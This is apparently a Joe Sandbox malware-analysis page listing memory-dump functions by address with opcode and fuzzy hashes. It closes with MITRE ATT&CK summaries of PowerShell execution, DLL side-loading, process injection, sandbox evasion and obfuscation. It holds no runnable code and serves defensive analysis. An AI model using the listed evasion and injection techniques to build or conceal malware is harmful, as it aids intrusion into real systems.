Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe2eee255ce80e2df90ed4850d7395439c2c852be5922ee4a7cea5853ec6c97
Instruction ID: 470225a263498d6bd097609294818b25f391107b394bd290e761d2427a9ce928
Opcode Fuzzy Hash: cbe2eee255ce80e2df90ed4850d7395439c2c852be5922ee4a7cea5853ec6c97
Instruction Fuzzy Hash: 1E31E5317583089BDB129E1CD880A3BB7E1EFC4358F19892CEA9A8B251D331DD52CB46

Function 004364B8 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b87cdb1b565fd80455b1a7db25c148ccb8027a3fe2262d6bff931442a21a1bb
Instruction ID: d8faaeee522b284477de5ab2f9e3fb2691e7d5041c3eb918815cc12234ec1563
Opcode Fuzzy Hash: 6b87cdb1b565fd80455b1a7db25c148ccb8027a3fe2262d6bff931442a21a1bb
Instruction Fuzzy Hash: E0217C7450C201ABC704EF19D58092EFBE5FB9A745F29982DE4C493361C338A851CB6A

Function 0042B650 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: ef28cddda7051212ce0c5229f622dd6ca0f3d2b62f50406dce74d85500edac38
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 7E11E933B051E50EC3168D3C9440565BFA35AA3334B9D439AF4B49B2D2D7268D8A839A

Function 00420B80 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90022ddfb32469098a8610d4b68e70bc315f5b0e8987f5b71d64abe4c0da561b
Instruction ID: 0f7273ba7ab10c04949dba9e522e901ab400dc0e9bb2475273fddbddf4f55ff3
Opcode Fuzzy Hash: 90022ddfb32469098a8610d4b68e70bc315f5b0e8987f5b71d64abe4c0da561b
Instruction Fuzzy Hash: 5F01B1F1B1031687EB309E91A5D0B3BB6E86F84718F88452EE9064B303DB79FC14C699

Function 0041D1E1 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 819f1c44d84a06ec0711e4790486a287a90b1102db324f05292418d4d3863c7d
Instruction ID: e79e8991e9358c617ab03a7ecfcda485c1b7c82b5a46364bf00aadc5c5b3d593
Opcode Fuzzy Hash: 819f1c44d84a06ec0711e4790486a287a90b1102db324f05292418d4d3863c7d
Instruction Fuzzy Hash: 2811EFB0408380AFD3109F618584A1FFBF5EB96714F148C5DF5A45B251C379E855CF5A

Function 003F6EA0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f15b8c4af869099bf23edda48f02a73455e7471c1f3ba6e882d4946b8c9c2169
Instruction ID: c4683951ce7c09f6cf88f127de9a4854db340695e8d6b7d960882f64861c2a5c
Opcode Fuzzy Hash: f15b8c4af869099bf23edda48f02a73455e7471c1f3ba6e882d4946b8c9c2169
Instruction Fuzzy Hash: FDF0243A71870E0BA221CDABA88083BB396D7D9354B056539EB40C3211CD72E80281D4

Function 0042B8C0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad40b8a8b0cf0c680be38028a9801f4e1e9da1297b4f3b9e1d9df466e9bee7e
Instruction ID: 6506d07c58c905065930edc77b6421f51c28c54387ea28b09faa2761b04cb969
Opcode Fuzzy Hash: dad40b8a8b0cf0c680be38028a9801f4e1e9da1297b4f3b9e1d9df466e9bee7e
Instruction Fuzzy Hash: 1E0162B3A199610B8348CE3DDC1156BBAD15BD5770F19872DBEF5CB3E0D230C8118695

Function 0040C5F0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ebd7708255391ffa87ed53dd5dbf97c7cff7b52fcdad9dabb06971c835301f
Instruction ID: afd6f86e1ed7dc578beff9a6215ab27dc393fb41cabbec3b70aacfa27007612f
Opcode Fuzzy Hash: d8ebd7708255391ffa87ed53dd5dbf97c7cff7b52fcdad9dabb06971c835301f
Instruction Fuzzy Hash: EB014B72A196204B8308CE3C9C1112ABEE19B86330F158B2EBCFAD73E0D664CD548696

Function 0040B410 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction ID: a440538df35b69aead1eeb0e6d9d1613c83728ee88e634ccc1de915cb71a5f4b
Opcode Fuzzy Hash: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction Fuzzy Hash: CEF0ECB160461057DF229A559CC0F37BB9CCB87354F190437E84567283D2B55945C3ED

Function 00428220 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f115d8d4b76adbd5cab86ecc26a1223d74e0dafa821c280c9c65bb84b4e013
Instruction ID: e172301c433a88db18c8290de8f3128dce14f55294929863c1201ae556ca6388
Opcode Fuzzy Hash: 61f115d8d4b76adbd5cab86ecc26a1223d74e0dafa821c280c9c65bb84b4e013
Instruction Fuzzy Hash: DF01E4B04107009FD360EF29C485747BBE8EB08714F009A1DE8AECB680D774A5448F82

Function 00431440 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 1cc25e720dba3a14085872da001693749e7e1abc6657c9584a8d72de95da0b73
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: E6D0A73160832146AF748E19A400977F7F0EACBB11F49A55FF586E3258D234DC41C6AD

Function 00401ACD Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e07d61963564c50d4927207114a18186ef9174b467d84fa55f62207103cf317d
Instruction ID: bc0288f9c25a568533c2e227104100cc0ca3df8ba38ea90832c807e411ec1b66
Opcode Fuzzy Hash: e07d61963564c50d4927207114a18186ef9174b467d84fa55f62207103cf317d
Instruction Fuzzy Hash: 07C01238A180008BC2048F40B895A36A2B8A36730C710B03ADA02F3262CA20C41A990E

Function 00436094 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5365cc0ed12da503d46d526fdeaa85a04336f2f068e64d59cf56d6b6003899c
Instruction ID: ed7d29dd0b05af52cb4e535f93b7180e8b144635b0e214e1de01ca7d425b1543
Opcode Fuzzy Hash: b5365cc0ed12da503d46d526fdeaa85a04336f2f068e64d59cf56d6b6003899c
Instruction Fuzzy Hash: 64C09B3C65C04087910CCF04D952575F3B6DBABF19B34B12EC90623297C134E513951D

Function 00401A3C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 203673f8c4c0e45aea5c4437269f593c913ab6a7b4f989b5e55293bfb421e8cd
Instruction ID: 9a8648ba7b3c90603588925dfcca16f9f64eefda3335152b825273d205e4462f
Opcode Fuzzy Hash: 203673f8c4c0e45aea5c4437269f593c913ab6a7b4f989b5e55293bfb421e8cd
Instruction Fuzzy Hash: D5C04C24F590408AC2448E85A891532A2A8532620C710703B9602F7261C560D419990D

Function 00435FD6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c742dafc77a5a2960d5682825940e82b7c5b597d0754390a3cfd48b23528ed
Instruction ID: 48f133cb6906bd7c052751911c320068bb1fa2712ab26ae442ed365dd9b38339
Opcode Fuzzy Hash: 46c742dafc77a5a2960d5682825940e82b7c5b597d0754390a3cfd48b23528ed
Instruction Fuzzy Hash: 0BC09B2876804047924CCF14DD52635F2B6DB97D19714B13DC90563257D134E511850C

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

